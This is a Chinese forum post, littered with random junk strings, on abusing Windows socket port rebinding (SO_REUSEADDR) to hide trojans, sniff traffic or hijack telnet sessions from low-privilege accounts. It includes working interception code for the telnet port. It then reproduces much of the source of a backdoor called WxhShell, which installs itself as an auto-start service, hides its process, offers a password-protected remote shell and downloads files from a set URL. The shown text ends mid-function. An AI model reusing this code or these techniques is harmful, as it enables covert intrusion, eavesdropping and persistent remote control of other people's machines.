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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O1J&Lwpk,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i2~uhGJ  
f"QiVJq  
  saddr.sin_family = AF_INET; (+> 2&@@<  
[1VA`:?W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QPJ \Iu@D$  
elOeXYO0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {r,U ik-nL  
wA=r ]BT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,#A(I#wL~  
$ J`O-"M  
  这意味着什么?意味着可以进行如下的攻击: h:YD $XE  
5ilGWkb`'X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N+|NI?R?}  
oJz2-P mX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n|w+08c"  
1F^Q*t{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9-KhJq%  
B`~EA] d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^Xk!wJ  
g* q#VmE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P[nc8z[  
~[g(@Xt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jFj11w1FrA  
OSgJj MQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jz}nV1G(jz  
#DTKz]i?  
  #include .+9hm|  
  #include *@2Bh4  
  #include H_DCdUgC'  
  #include    K p3}A$uV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   za>UE,?h  
  int main() t]yxLl\  
  { OXEk{#Uf[3  
  WORD wVersionRequested; m&UP@hUV-  
  DWORD ret; zM9#1^X  
  WSADATA wsaData; H U|.5tP  
  BOOL val; v= 55{  
  SOCKADDR_IN saddr; ,fkvvM{mq  
  SOCKADDR_IN scaddr; Td=4V,BN  
  int err; -8TJ:#|N  
  SOCKET s; #~*v##^vFH  
  SOCKET sc; l!mbpFt  
  int caddsize; Z'z)Oo  
  HANDLE mt; hi7_jl6  
  DWORD tid;   ToXWFX  
  wVersionRequested = MAKEWORD( 2, 2 ); "yn~axk7  
  err = WSAStartup( wVersionRequested, &wsaData ); AM}R#86  
  if ( err != 0 ) { )dXa:h0RZ  
  printf("error!WSAStartup failed!\n"); u6qK4*eAD  
  return -1; ]?eZDf~  
  } q2qi~}l  
  saddr.sin_family = AF_INET; 6j<9Y  
   YG "Ta|@5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L:R4&|E/t  
{f/qI`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f-ltV<C_  
  saddr.sin_port = htons(23); *c0H_8e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BQ@7^E[  
  { XH%L]  
  printf("error!socket failed!\n"); \iuR+I  
  return -1; U<Pjn)M~B  
  } p8 rh`7  
  val = TRUE; l& :EKh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]K=#>rZrB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ( ;FxKm<P@  
  { D JP6Z  
  printf("error!setsockopt failed!\n"); $@g]?*L:  
  return -1; ~6[?=mOi'  
  } ]P4WfV d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R=D]:u<P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Njq}M/{U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o-,."|6  
vwCQvt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rPV Q#iB  
  { 8Sbz)X  
  ret=GetLastError(); [);oj<  
  printf("error!bind failed!\n"); DiCz%'N  
  return -1; z+"tAVB[i  
  } uZqL'l+/y  
  listen(s,2); X8Z?G,[H  
  while(1) t*{L[c9.Uq  
  { U( YAI%O  
  caddsize = sizeof(scaddr); +&GV-z~o  
  //接受连接请求 Y-VDi.]W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]z'&oz  
  if(sc!=INVALID_SOCKET) 4>JSZ6i#n  
  { Kkvc Zs'4m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7- B.<$uC  
  if(mt==NULL) <I+kB^Er  
  { dbp\tWaW  
  printf("Thread Creat Failed!\n"); om3 %\  
  break; E)"19l|}B  
  } peQwH  
  } B}e/MlX3M  
  CloseHandle(mt); a)_3r]sv^  
  } m4:c$5  
  closesocket(s); L*@`i ]jl  
  WSACleanup(); 3Cf9'C  
  return 0; BI'>\hX/V  
  }   cc@W 6W  
  DWORD WINAPI ClientThread(LPVOID lpParam) LC%o coc  
  { S|85g1}t  
  SOCKET ss = (SOCKET)lpParam; *t@A-Sn  
  SOCKET sc; 87 Z[0>  
  unsigned char buf[4096]; #mxOwvJ  
  SOCKADDR_IN saddr; !Sc"V.o @!  
  long num; L^J4wYFTO  
  DWORD val; ]e>qvSuYh  
  DWORD ret; )M0YX?5A R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r`H}f#.KR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #M,&g{  
  saddr.sin_family = AF_INET; gf|uZ9{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u'YXI="(  
  saddr.sin_port = htons(23); |z-f 8$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y:^hd809  
  { 'jev1u[  
  printf("error!socket failed!\n"); -Q WvB  
  return -1; !09)WtsEfx  
  } 144Y.  
  val = 100; AdX))xgl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tOwn M1 :(  
  { uLhGp@Dx  
  ret = GetLastError(); Od1\$\4Z  
  return -1; Sj+H{xJi  
  } \PrJy6&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iw@rW5%'~  
  { L9b.D<  
  ret = GetLastError(); A8{jEJ=)P  
  return -1; ZmA}i`  
  } 1w,_D.1'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c<lp<{;  
  { RS5<] dy  
  printf("error!socket connect failed!\n"); f:o.[4p2  
  closesocket(sc); i7x&[b  
  closesocket(ss); "LBMpgpU  
  return -1; rQ*+ <`R}  
  } (i "TF2U,<  
  while(1) fSo8O  
  { "?"  :  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Kb~nC6yJc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _4{0He`q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9~SPoR/_0  
  num = recv(ss,buf,4096,0); _O`prX.:B0  
  if(num>0) ~ 9>H(c  
  send(sc,buf,num,0); )CGQ}  
  else if(num==0) =RoE=) 1&-  
  break; `<XS5h h=  
  num = recv(sc,buf,4096,0); xfk -Ezv  
  if(num>0) Yuv(4a<M%  
  send(ss,buf,num,0); tXE/aY*I  
  else if(num==0) OC! {8MR  
  break; { FJMc O=  
  } l`v5e"V  
  closesocket(ss); vNO&0~  
  closesocket(sc); B'Yx/c&n  
  return 0 ; TTf j 5  
  } NdK`-RT  
pb!2G/,.[  
:~-:  
========================================================== ~OD6K`s3  
]LE,4[VxRz  
下边附上一个代码,,WXhSHELL "~r<ZG  
t]xz7VQ  
========================================================== &3vm @  
hY)zKX_r  
#include "stdafx.h" Q2CGC+   
dXyMRGR Uq  
#include <stdio.h> 2&hv6Y1  
#include <string.h> Y3~Uz#`SU  
#include <windows.h> r=j?0k '}]  
#include <winsock2.h> 5i br1zs  
#include <winsvc.h> e=Ox~2S  
#include <urlmon.h> $tlBI:ay1  
^ AZ#tp%)  
#pragma comment (lib, "Ws2_32.lib") oodA&0{)d  
#pragma comment (lib, "urlmon.lib") 6 AO(A *  
2;)IBvK  
#define MAX_USER   100 // 最大客户端连接数 Z$z-Hx@%  
#define BUF_SOCK   200 // sock buffer {_7hX`p  
#define KEY_BUFF   255 // 输入 buffer 7F`\Gz_2  
qlhc"}5x }  
#define REBOOT     0   // 重启 FPc `J  
#define SHUTDOWN   1   // 关机 <IrhR,@M,L  
Q%CrB>|@  
#define DEF_PORT   5000 // 监听端口  ^B"LT>.[  
}T_"Vg q  
#define REG_LEN     16   // 注册表键长度 W ?x~"-*  
#define SVC_LEN     80   // NT服务名长度 ; _%zf5;'  
#JUh"8N'  
// 从dll定义API aB%.]bi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T{prCM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); | BaEv\$K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^EIuGz1@0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0fc;H}B*  
\Z.r Pq  
// wxhshell配置信息 @!;A^<{ka  
struct WSCFG { PqspoH 0OI  
  int ws_port;         // 监听端口 rtPo)#t  
  char ws_passstr[REG_LEN]; // 口令 %_ew{ff|  
  int ws_autoins;       // 安装标记, 1=yes 0=no W @"Rdc-  
  char ws_regname[REG_LEN]; // 注册表键名 Y[*.^l._  
  char ws_svcname[REG_LEN]; // 服务名 'a(y]QG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ximVh}'a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4s{=/,f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {OG1' m6=/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gs<~)&x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nJ2B*(S'v.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Wy>t8DIK  
B9(w^l$kZ|  
}; #( .G;e;w  
r'noB<| e  
// default Wxhshell configuration 2)BO@]n  
struct WSCFG wscfg={DEF_PORT, fb Bu^]^S  
    "xuhuanlingzhe", UVDMYA0  
    1, 8P ]nO+  
    "Wxhshell", ^*jwe^  
    "Wxhshell",  $H*8H`  
            "WxhShell Service", u ?V}pYX  
    "Wrsky Windows CmdShell Service", @@ j\OR  
    "Please Input Your Password: ", 1_7p`Gxt[/  
  1, 2K4Xu9-i:b  
  "http://www.wrsky.com/wxhshell.exe", <v1H1'gv  
  "Wxhshell.exe" Boj R"  
    }; [C!*7h  
"Lvk?k )hx  
// 消息定义模块 (~Z&U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [l=@b4Og  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,RV>F_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nLL2/!'n  
char *msg_ws_ext="\n\rExit."; (o{Y;E@/y  
char *msg_ws_end="\n\rQuit."; M|nLD+d~8  
char *msg_ws_boot="\n\rReboot..."; ;$tdn?|  
char *msg_ws_poff="\n\rShutdown..."; @de  ZZ  
char *msg_ws_down="\n\rSave to "; pZ Uy (  
ts=D  
char *msg_ws_err="\n\rErr!"; } :?*n:g5  
char *msg_ws_ok="\n\rOK!"; IlF_g`  
X$<pt,}%  
char ExeFile[MAX_PATH]; U_jW5mgsG  
int nUser = 0; PU%Zay  
HANDLE handles[MAX_USER]; R(t%/Hvs$  
int OsIsNt; vdXi'<  
\HxF?i "   
SERVICE_STATUS       serviceStatus; 42e[OG-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lP=,|xFra  
J"#6m&R_q  
// 函数声明 )P? 0YC  
int Install(void); xM{[~Kh_x  
int Uninstall(void); ~LI}   
int DownloadFile(char *sURL, SOCKET wsh); e!=7VEB  
int Boot(int flag); L@RnLaoQ  
void HideProc(void); &%v*%{|j  
int GetOsVer(void); vJr,lBHEk  
int Wxhshell(SOCKET wsl); WiZkIZ  
void TalkWithClient(void *cs); 46M=R-7=  
int CmdShell(SOCKET sock); XN-1`5:4I  
int StartFromService(void); <e&v[  
int StartWxhshell(LPSTR lpCmdLine); M19O^P>[  
3 85qQppz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cw^iA U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); foPM5+.G  
5xT, O  
// 数据结构和表定义 $[_5:@T%N  
SERVICE_TABLE_ENTRY DispatchTable[] = <IU   
{ ,or;8aYc#  
{wscfg.ws_svcname, NTServiceMain}, [-`s`g-  
{NULL, NULL} (4z_2a(Dl,  
}; =f@71D1  
2cu2S"r  
// 自我安装 =H: N!!:  
int Install(void) Obu 6k[BE.  
{ =2*2 $  
  char svExeFile[MAX_PATH]; _e8Gt6>  
  HKEY key; nUs=PD3)  
  strcpy(svExeFile,ExeFile); 6x5Q*^w  
-7oIphJ=\  
// 如果是win9x系统,修改注册表设为自启动 Z9H2! Cp  
if(!OsIsNt) { ^0"fPG`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GRpwEfG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t<+>E_Xw  
  RegCloseKey(key); Z$i?p;HnW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n=f?Q=h\3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "4KyJ;RA*  
  RegCloseKey(key); Na]ITCVR  
  return 0; Tb^1#O  
    } ?AO=)XV2  
  } >q')%j  
} fLRx{Nu  
else { X'.l h#&  
?&6|imPE  
// 如果是NT以上系统,安装为系统服务 ']Czn._  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m[l&&(+J,  
if (schSCManager!=0) ao7M(f  
{ vh|m[p  
  SC_HANDLE schService = CreateService y)fz\wk  
  ( )(d~A?~  
  schSCManager, /=V!lRs  
  wscfg.ws_svcname, \7UeV:3Ojn  
  wscfg.ws_svcdisp, q-1vtbn  
  SERVICE_ALL_ACCESS, ]}S9KP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "1dpv \  
  SERVICE_AUTO_START, )#Ecm<.^  
  SERVICE_ERROR_NORMAL, !#1UTa  
  svExeFile, =C#z Px,  
  NULL, hey/#GC*  
  NULL, xhCNiYJ|  
  NULL, /2r&ga&  
  NULL, fyZtwl@6w#  
  NULL dXWG`G_  
  ); E-X02A  
  if (schService!=0) @CPkP  
  { :3se/4y}  
  CloseServiceHandle(schService); 'D[ *|Qcy  
  CloseServiceHandle(schSCManager); XThU+s9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?!tO'}?  
  strcat(svExeFile,wscfg.ws_svcname); lh\`9F:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uI)z4Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +CQIm!Sp  
  RegCloseKey(key); g5nL7;`N  
  return 0; /w5c:BH  
    } Qm[ )[M  
  } p-oEoA  
  CloseServiceHandle(schSCManager); AHa]=ka>  
} C-:|A* z  
} < A`srmS?  
)):D&wlq  
return 1; ()Img.TIt  
} .<K9Zyi  
p:| 7d\r  
// 自我卸载 F(U(b_DPM  
int Uninstall(void) 8M4GforP  
{ dphWxB  
  HKEY key; s ldcI@Z  
f'j<v  
if(!OsIsNt) { ASS<XNP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 80U(q/H%9  
  RegDeleteValue(key,wscfg.ws_regname); )Zvn{  
  RegCloseKey(key); * P12d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { So NgDFD  
  RegDeleteValue(key,wscfg.ws_regname); >'3nsR  
  RegCloseKey(key); E0A[{UA   
  return 0; -t*P=V|@  
  } O/l/$pe  
} M VE:JNm  
} #E/|W T  
else { 4SkCV  
0sq?>$~Kc*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?;rRR48T9E  
if (schSCManager!=0) 9:!V":8q  
{ {FN CC*=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %zjyZ{=  
  if (schService!=0) 4f213h  
  { }.A \;FDyj  
  if(DeleteService(schService)!=0) { )C#>@W  
  CloseServiceHandle(schService); UJ)( Sw  
  CloseServiceHandle(schSCManager); OQ3IkE`G  
  return 0; b\SB  
  } oPxh+|0?  
  CloseServiceHandle(schService); I_`$$-|  
  } 2N&S__  
  CloseServiceHandle(schSCManager); )uCa]IR  
} / 7 R0w  
} 9 b&HqkXX  
PmUq~YZ7  
return 1; VkC1\L6  
} gue~aqtJ  
()_^:WQO?  
// 从指定url下载文件 xn<x/e  
int DownloadFile(char *sURL, SOCKET wsh) w\>@> *E>  
{ T#YJ5Xw  
  HRESULT hr; F@xKL;'N74  
char seps[]= "/"; dsZ-|C  
char *token; KctbNMU]k  
char *file; 2 o5u02x  
char myURL[MAX_PATH]; z7JhS|  
char myFILE[MAX_PATH]; \uOR1z  
_.GHtu/I  
strcpy(myURL,sURL); +qa^K%K  
  token=strtok(myURL,seps); !$0ozDmD  
  while(token!=NULL) e$-Y>Dd  
  { \`?4PQ  
    file=token; |zp}u(N  
  token=strtok(NULL,seps); @(m?j1!M  
  } ZY)&Fam}  
)%I62<N,z  
GetCurrentDirectory(MAX_PATH,myFILE); 1[(/{CClB  
strcat(myFILE, "\\"); \2 [  
strcat(myFILE, file); qD(dAU  
  send(wsh,myFILE,strlen(myFILE),0); 0w".o!2\U{  
send(wsh,"...",3,0); {G-y7y+E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iB*1Yy0DC  
  if(hr==S_OK) tIW~Ng  
return 0; j[$+hh3:  
else Mir( }E  
return 1; <OGXKv@  
XNkZ^3mq  
} .#Lu/w' -M  
B|kIiL63 D  
// 系统电源模块 q!) nSD  
int Boot(int flag) r4pR[G._  
{ &bwI7cO  
  HANDLE hToken; eq4Yc*|9  
  TOKEN_PRIVILEGES tkp; M^y5 Dep  
1v9 #Fr Y  
  if(OsIsNt) { <)$JA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q} p (p( N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z4s{a(Tsd  
    tkp.PrivilegeCount = 1; 26-K:"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7eyx cr;z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7HQ|3rt  
if(flag==REBOOT) { Dp;6CGYl?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oN.#q$\` k  
  return 0; RA:3ZV  
} e8hwXz  
else { >^adxXw.o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9y*pn|A[F  
  return 0; $+w-r#,  
} fsV_>5I6  
  } *|.-y->  
  else { a(K^/BT  
if(flag==REBOOT) { ]= 9^wS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j.g9O]pi  
  return 0; j7=x&)qbx  
} x|A{|oFC  
else { 6iJ\7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'n7Ld6%1  
  return 0; 7HEUmKb"  
} Kw&t\},8@  
} { VFr8F0*H  
|BE`ASW;  
return 1; K7] +. f  
} LX;" Mz>  
t|cTl/i 4  
// win9x进程隐藏模块 u\}"l2 r  
void HideProc(void) Xs$UpQo  
{ 0)9'x)l:  
 pytF K)U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Aw7_diK^  
  if ( hKernel != NULL ) u*<knZ~ty  
  { J+f*D+x1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G>j4b}e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DBZ^n9  
    FreeLibrary(hKernel); P(~vqo>!  
  } W4S! rU  
kPF qsq  
return; ,I8[tiR"b  
} bLyaJ%pa\/  
Wt9'-"c  
// 获取操作系统版本 {*t0WE&1t  
int GetOsVer(void) Huho|6ohH  
{ 629 #t`W\  
  OSVERSIONINFO winfo; K|sx"u|?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sB%QqFRP  
  GetVersionEx(&winfo); 6%fF6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tF~D!t@  
  return 1; o_on/{qz  
  else {_>}K  
  return 0; } ^n346^  
} pJ3Yjm[l  
(z.eXoP@>  
// 客户端句柄模块 ibQN pIz  
int Wxhshell(SOCKET wsl) M}xyW"yp  
{ (2p<I)t  
  SOCKET wsh; 3YJa3fflK  
  struct sockaddr_in client; q# t&\M.U  
  DWORD myID; S3.76&  
geSH3I   
  while(nUser<MAX_USER) f|'8~C5I@>  
{ @0U={qX  
  int nSize=sizeof(client); h5VZ-v_j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >):^Zs  
  if(wsh==INVALID_SOCKET) return 1; ^*_|26  
_jD\kg#LY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zp <^|=D  
if(handles[nUser]==0) xjg(}w  
  closesocket(wsh); "P@oO,.  
else }\/ 3B_X6N  
  nUser++; SH/^qDT'  
  } YuKg|<WO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =p 7eP  
,K~r':ht  
  return 0; l"1at eM3  
} QK@[ b3-h1  
&ub0t9R  
// 关闭 socket @w5x;uB|%G  
void CloseIt(SOCKET wsh) ]U)Yg  
{ [7@9wa1v!  
closesocket(wsh); bz\-%$^k  
nUser--; )lDmYt7me  
ExitThread(0); kNrN72qg  
} s>1Wjz2M  
IH$ZPux  
// 客户端请求句柄 qB8R4wCf  
void TalkWithClient(void *cs) WHKe\8zWq  
{ ?)?}^  
#Zt(g(T  
  SOCKET wsh=(SOCKET)cs; e|S_B*1*0  
  char pwd[SVC_LEN]; B4 +A  
  char cmd[KEY_BUFF]; ^QTtCt^:  
char chr[1]; :~%{  
int i,j; m9 D' yXZ  
IJ#+"(?7,u  
  while (nUser < MAX_USER) { [ T!0ka  
(hFyp}jkk  
if(wscfg.ws_passstr) { $hq'9}ASOL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SVJt= M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l/g6Tv `w  
  //ZeroMemory(pwd,KEY_BUFF); .}ePm(  
      i=0; d}--}&r  
  while(i<SVC_LEN) { a5nA'=|}i  
FoB^iA6 e  
  // 设置超时 [ F7ru4"{  
  fd_set FdRead; Dwuao`~Xm  
  struct timeval TimeOut; o* C_9M  
  FD_ZERO(&FdRead); .LA?2N  
  FD_SET(wsh,&FdRead); zyPc<\HoK  
  TimeOut.tv_sec=8; $fFh4O4  
  TimeOut.tv_usec=0; Ic')L*i7O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9L9qLF5 t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g8L{xwx<  
1%`Nu ]D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  G%5ZG$as  
  pwd=chr[0]; lXOT>$qR<  
  if(chr[0]==0xd || chr[0]==0xa) { qEajT"?  
  pwd=0; {dXmSuO  
  break; }(/\vTn*1  
  } g=L80$1  
  i++; (,OF<<OH  
    } ^g N/5  
\k>1q/T0V  
  // 如果是非法用户,关闭 socket ;\(X;kQi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .-4]FGg3  
} bd)'1;p  
i$JN s)I%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); , Aw Z%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RAB'%CY4  
p4^&G/'  
while(1) { %=`wN^3t2  
z[+Sb;  
  ZeroMemory(cmd,KEY_BUFF); g#b9xTG J^  
r2G38/K  
      // 自动支持客户端 telnet标准   Df5!z\dx  
  j=0; =>htX(k}  
  while(j<KEY_BUFF) { %:e.ES  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HvLx  
  cmd[j]=chr[0]; A5?q&VS}p  
  if(chr[0]==0xa || chr[0]==0xd) { 2wwJ>iR`  
  cmd[j]=0; O 8XHaVLg3  
  break; *~0U4kw+  
  } 7Xf52\7n  
  j++; K n,td:(  
    } b!oj3|9  
9|NH5A"H.  
  // 下载文件 ?4cj"i  
  if(strstr(cmd,"http://")) { \qz! v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vo>i36  
  if(DownloadFile(cmd,wsh)) {@ Z=b 5/P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oe<DP7e  
  else a4\j.(w)$D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E{BX $R_8  
  } YDYN#Ob(;  
  else { ,#U[)}im  
W^YaC (I  
    switch(cmd[0]) { 8F9x2CM-[C  
  ve^gzE$<I  
  // 帮助 wDDNB1_ E  
  case '?': { NOFuX9/'w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); apZPHau6h  
    break; }inV)QQ  
  } =z[$ o9  
  // 安装 %U6A"?To  
  case 'i': { DIw9ov>k  
    if(Install()) y}1Pc*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q?>DbT6  
    else 7#(0GZN9h%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); se=;vp]3a  
    break; Xm3r)Bm'3  
    } (7Ln~J*  
  // 卸载 qL4s@<|~  
  case 'r': { Z rv:uEl  
    if(Uninstall()) o3JSh=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h-ZwL  
    else _p^$.\k"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pp@O6   
    break; '<{Jlz(u9  
    } yw1-4*$c  
  // 显示 wxhshell 所在路径 a:Nf +t  
  case 'p': { qe 'RvBz  
    char svExeFile[MAX_PATH]; 3~1Gts  
    strcpy(svExeFile,"\n\r"); J`[gE`d  
      strcat(svExeFile,ExeFile); 055C1RV%  
        send(wsh,svExeFile,strlen(svExeFile),0); ![9$ru  
    break; [}!0PN?z~A  
    } 6aLRnH"Ud  
  // 重启 ^?NLA&v<  
  case 'b': { AuT:snCzR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %{-r'Yi%  
    if(Boot(REBOOT)) 8([ MR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c:aW"U   
    else { C8x9 Jrc  
    closesocket(wsh); -Fq`#"  
    ExitThread(0); U"=Lzo.0  
    } 8u%,5GV>Xr  
    break; nyetK  
    } 0 9qfnQG  
  // 关机 Y"L|D,ex  
